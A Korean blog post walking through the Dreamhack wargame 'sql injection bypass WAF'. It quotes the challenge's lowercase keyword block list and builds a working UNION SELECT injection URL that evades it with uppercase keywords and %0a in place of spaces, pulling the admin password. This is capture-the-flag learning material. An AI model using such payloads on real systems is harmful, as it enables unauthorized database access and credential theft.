개발 블로그

[DreamHeck] sql injection bypass WAF 본문

Study/Web Hacking

[DreamHeck] sql injection bypass WAF

얀 짱 2026. 7. 8. 22:12

https://dreamhack.io/wargame/challenges/415

 

로그인 | Dreamhack

 

dreamhack.io


먼저 소스코드를 확인함.
app.py랑 init.sql 이렇게 두 개가 있음.

나는 init.sql를 보고 INSERT 문이 있길래 abcde를 넣음. 12345가 출력되길 바라면서.. 근데 똑같이 abcde가 나오는 거임. dream을 넣어도 똑같이 dream이 나옴.

그래서 app.py 코드를 확인함.

if result:
            return template.format(uid=uid, result=result[1])       # result[1] => uid
        else:
            return template.format(uid=uid, result='')
 

이 부분에서 result[1]이기 때문에 uid가 나오는 건가? 하고 다시 sql 파일을 봤더니

CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);
 

여기 부분 때문에 인덱스가 1인건가 싶었음. (idx -- 0, uid -- 1, upw --2)

그래서 admin도 넣어봤는데 your request has been blocked by WAF. 이게 뜸.

코드에서 your request has been blocked by WAF. 이게 있는 부분이 있나 찾아봤음.

if check_WAF(uid):
            return 'your request has been blocked by WAF.'
 

여기 있었음.
check_WAF 함수를 확인했더니 매개변수로 keywords 안에 있는 값들이 들어오면 해당 문장을 출력하는 거 같아서 keywords를 확인함. 역시나 admin이 있었음.

keywords엔 이렇게 있었는데
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
보통 우리가 sql문을 쓸 때 키워드는 대문자로 많이들 쓰는데 (나는 대문자로 쓰는 걸 좋아함) 소문자 이길래 바로 SELECT를 입력해봤음.

그랬더니 your request has been blocked by WAF. 이 문장 안나오고 빈칸이 떴음.

else:
            return template.format(uid=uid, result='')
 

아마 이 부분인 거 같았음.

그래서 '아 대문자로 하면 안걸리는구나, 그러면 ADMIN으로 해보자' 라고 생각하고 입력했더니 admin이 나왔음.

uid=ADMIN 이걸로 우회하면 되겠구나 하고 생각했는데 그때 떠오른 것이 UNION이었음.

SELECT * FROM user WHERE uid=''
UNION
SELECT 1,2,upw FROM user WHERE uid='ADMIN'
 

이런 식으로??
그러면 이때 cur.execute(f"SELECT * FROM user WHERE uid='{uid}';") 여기서 {uid}에 ' UNION SELECT 1,2,upw FROM user WHERE uid='ADMIN 이게 들어가면 되겠구나 생각했음.

근데 나는 공백을 못 쓰니까 이걸 우회해야겠구나.

공백 우회 문자 \n. 이거를 URL 인코딩으로 %0a.
'%0aUNION%0aSELECT%0a1,upw,3%0aFROM%0auser%0aWHERE%0auid='ADMIN
그래서 이렇게 바꾸고
URL에 http://host3.dreamhack.games:19737/?uid='%0aUNION%0aSELECT%0a1,2,upw%0aFROM%0auser%0aWHERE%0auid='ADMIN
이렇게 집어넣음.

근데 SELECT 뒤에 1,2,upw 이렇게 넣었더니 2 나오고 2,1,upw 넣었더니 1 나오길래 아 upw가 가운데 있어야 하나보다 하고 풀었음.

'Study > Web Hacking' 카테고리의 다른 글

[DreamHeck] xss-2  (0) 2026.07.21
[DreamHeck] xss-1  (0) 2026.07.21
[DreamHeck] file-download-1  (0) 2026.07.07
[DreamHeck] simple_sqli  (0) 2026.07.05
[DreamHeck] session  (0) 2026.07.05